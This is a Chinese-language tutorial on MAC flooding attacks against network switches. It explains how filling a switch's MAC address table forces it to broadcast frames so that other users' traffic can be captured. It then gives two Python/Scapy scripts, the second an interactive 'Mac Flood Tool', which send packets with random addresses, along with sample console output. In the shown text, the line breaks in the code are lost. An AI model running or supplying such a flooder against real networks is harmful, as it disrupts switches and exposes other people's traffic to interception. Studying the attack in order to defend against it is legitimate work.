1、MAC泛洪攻击的原理
交换机中有一张非常重要的表,叫做mac表,这个表是一个硬件组成的表,主要是完成快速转发。mac表有大小限制,不同的交换机的mac表的大小都有不同,越是高端的交换机的表空间越大,但是作为接入交换机,表空间基本都在8K左右。交换机的一个原理是会自动学习并记录mac地址。而攻击者就利用交换机的mac地址学习机制,不断的进行mac地址刷新,迅速填满交换机的mac地址表,以至崩溃,使交换机不得不使用广播发包,从而获取其他人的报文信息。
2、Python脚本
from scapy.all import *#定义网卡接口
iface='eth0'while True:#随机MACrandmac=RandMAC("*:*:*:*:*:*")#随机IPrandip=RandIP("*.*.*.*")#构造数据包packet=Ether(src=randmac,dst=randmac)/IP(src=randip,dst=randip)/ICMP()sendp(packet,iface=iface,loop=0)
结果如下:
完善的Python代码
from scapy.all import *
import random#生成随机的MAC
def randomMAC():randmac = RandMAC("*:*:*:*:*:*")return randmac#生成随机的IP
def randomIP():ip=".".join(map(str,(random.randint(0,255) for i in range(4))))return ip#Mac-flood
def macFlood(count):total = 0print("Packets are sending ...")for i in range(count):packet = Ether(src=randomMAC(), dst=randomMAC()) / IP(src=randomIP(), dst=randomIP()) / ICMP()sendp(packet, iface='eth0', loop=0)total+=1print("Total packets sent: %i" % total)if __name__ == '__main__':print("#" * 30)print("# Welcome to Mac Flood Tool #")print("#" * 30)count = int(input("Please input the number of packets:"))macFlood(count)
结果如下:
root@root:~# python macflood.py
##############################
# Welcome to Mac Flood Tool #
##############################
Please input the number of packets:10
Packets are sending ...
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
Total packets sent: 10